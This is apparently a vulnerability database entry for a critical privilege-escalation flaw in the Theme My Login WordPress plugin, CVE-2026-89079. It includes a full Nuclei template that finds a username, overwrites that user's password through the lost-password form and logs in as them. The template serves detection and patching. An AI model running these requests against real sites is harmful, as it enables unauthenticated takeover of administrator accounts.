Theme My Login <= 7.2.1 - Privilege Escalation
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-89079 | 16 Oct 202605:52 | – | circl | |
| jfarthing84 Theme My Login Permission and Access Control Vulnerabilities | 15 Oct 202616:00 | – | cnnvd | |
| CVE-2026-89079 | 16 Oct 202605:30 | – | cve | |
| CVE-2026-89079 Theme My Login <= 7.2.1 - Unauthenticated Privilege Escalation via 'user_pass1' POST Parameter in wp_pre_insert_user_data Filter | 16 Oct 202605:30 | – | cvelist | |
| EUVD-2026-102666 | 16 Oct 202605:30 | – | euvd | |
| Exploit for CVE-2026-89079 | 16 Oct 202611:44 | – | githubexploit | |
| CVE-2026-89079 | 16 Oct 202606:17 | – | nvd | |
| WordPress Theme My Login plugin <= 7.2.1 - Unauthenticated Privilege Escalation vulnerability | 15 Oct 202617:50 | – | patchstack | |
| PT-2026-115462 | 16 Oct 202600:00 | – | ptsecurity | |
| CVE-2026-89079: Improper Privilege Management | 16 Oct 202600:00 | – | rapid7 |
10
id: CVE-2026-89079
info:
name: Theme My Login <= 7.2.1 - Privilege Escalation
author: DhiyaneshDk
severity: critical
description: |
Theme My Login (TML) <= 7.2.1 for WordPress is vulnerable to unauthenticated account takeover on multisite installations. The multisite-only filter tml_ms_filter_pre_insert_user_data(), hooked on wp_pre_insert_user_data, hashes and injects $_POST['user_pass1'] into the user record whenever the tml_user_passwords network option is enabled, WITHOUT checking the $update flag. During a lost password request (wp-login.php?action=lostpassword -> retrieve_password() -> wp_update_user()), this filter fires on the EXISTING target user, overwriting their password with an attacker-chosen value. An unauthenticated attacker can therefore take over any account, including a network administrator, by sending user_pass1 in the lost-password POST. Fixed in 7.2.2 (changeset 3696081 / commit 06b76231) by adding the $update guard and only applying the password during activation.
impact: |
Complete unauthenticated account takeover of any user (including network administrators) on WordPress multisite installations running Theme My Login <= 7.2.1 with tml_user_passwords enabled.
remediation: |
Update Theme My Login to 7.2.2 or later. As mitigation, disable the tml_user_passwords network option until patched.
reference:
- https://patchstack.com/database/wordpress/plugin/theme-my-login/vulnerability/wordpress-theme-my-login-plugin-7-2-1-unauthenticated-privilege-escalation-vulnerability
- https://plugins.trac.wordpress.org/changeset/3696081/theme-my-login
- https://github.com/theme-my-login/theme-my-login/commit/06b76231b86150eed932db52646734486ecd0781
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89079
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-89079
epss-score: 0.01631
epss-percentile: 0.7623
cwe-id: CWE-269
metadata:
verified: true
max-request: 3
vendor: theme-my-login
product: theme-my-login
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/theme-my-login"
tags: cve,cve2026,wordpress,wp-plugin,theme-my-login,privilege-escalation,account-takeover,multisite,intrusive,vkev
variables:
new_pass: "Tml{{rand_base(10)}}!Xk9"
flow: |
http(1);
if (template["target_user"]) {
http(2);
http(3);
}
http:
- raw:
- |
GET /wp-json/wp/v2/users?per_page=1&orderby=id&order=asc HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'contains(body, "slug")'
internal: true
extractors:
- type: json
name: target_user
part: body
json:
- '.[0].slug'
internal: true
- raw:
- |
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
user_login={{target_user}}&user_pass1={{new_pass}}&user_pass2={{new_pass}}&redirect_to=&wp-submit=Get+New+Password&action=lostpassword
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302'
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP Cookie check
Accept: text/html, */*
log={{target_user}}&pwd={{new_pass}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "wordpress_logged_in")'
- 'contains(header, "wp-admin")'
condition: and
extractors:
- type: regex
name: logged_in_as
part: header
group: 1
regex:
- "wordpress_logged_in[^=]*=([^%]+)%7C"
# digest: 4a0a00473045022020ce2e3a6eab5b790f36e70a5e65500c1b32a52023ebc39dc3d18fea75043934022100b3ac58d2950945e31d27c629f648e9fbfd1337fb2658cf92da384a1b7df1e783:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Oct 2026 23:09Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.01631
SSVC